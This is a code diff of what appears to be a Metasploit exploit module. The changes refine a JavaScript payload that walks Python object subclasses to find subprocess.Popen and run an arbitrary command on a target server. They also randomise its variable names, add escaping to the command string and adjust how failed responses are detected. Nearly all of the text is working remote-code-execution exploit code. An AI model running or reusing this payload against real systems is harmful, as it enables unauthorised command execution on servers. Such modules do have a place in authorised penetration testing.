@@ -126,10 +126,10 @@ def javascript_payload(cmd)
126126 #{ js_vars [ :obj ] } = #{ js_vars [ :n11 ] } ("__class__").__base__
127127 #{ js_vars [ :getattr ] } = #{ js_vars [ :obj ] } .__getattribute__
128128
129- function #{ js_vars [ :findpopen ] } (o ) {
129+ function #{ js_vars [ :findpopen ] } (#{ js_vars [ :o ] } ) {
130130 let #{ js_vars [ :result ] } ;
131- for(let i in o .__subclasses__()) {
132- let #{ js_vars [ :item ] } = o .__subclasses__()[i ]
131+ for(let #{ js_vars [ :i ] } in #{ js_vars [ :o ] } .__subclasses__()) {
132+ let #{ js_vars [ :item ] } = #{ js_vars [ :o ] } .__subclasses__()[#{ js_vars [ :i ] } ]
133133 if(#{ js_vars [ :item ] } .__module__ == "subprocess" && #{ js_vars [ :item ] } .__name__ == "Popen") {
134134 return #{ js_vars [ :item ] }
135135 }
@@ -140,14 +140,12 @@ def javascript_payload(cmd)
140140 }
141141
142142 #{ js_vars [ :n11 ] } = #{ js_vars [ :findpopen ] } (#{ js_vars [ :obj ] } )(#{ js_vars [ :command ] } , -1, null, -1, -1, -1, null, null, true).communicate()
143- console.log(#{ js_vars [ :n11 ] } )
144- function f() {
145- return #{ js_vars [ :n11 ] }
146- }
147143 EOS
148144 end
149145
150146 def execute_command ( cmd , _opts = { } )
147+ cmd . gsub! ( /\\ / , '\\\\\\\\' )
148+ cmd . gsub! ( /"/ , '\"' )
151149 vprint_status ( "Executing command: #{ cmd } " )
152150 crypted_b64 = Rex ::Text . encode_base64 ( rand ( 4 ) )
153151
@@ -165,9 +163,7 @@ def execute_command(cmd, _opts = {})
165163
166164 # The command will either cause the response to timeout or return a 500
167165 return if res . nil?
168- return if res . code == 500 && res . body =~ /Could not decrypt key/
169-
170- print_status ( javascript_payload ( cmd ) )
166+ return if res . code == 500 && res . get_xml_document . xpath ( '//title' ) . text == 'Sorry, something went wrong... :('
171167
172168 fail_with ( Failure ::UnexpectedReply , "The HTTP server replied with a status of #{ res . code } " )
173169 end
0 commit comments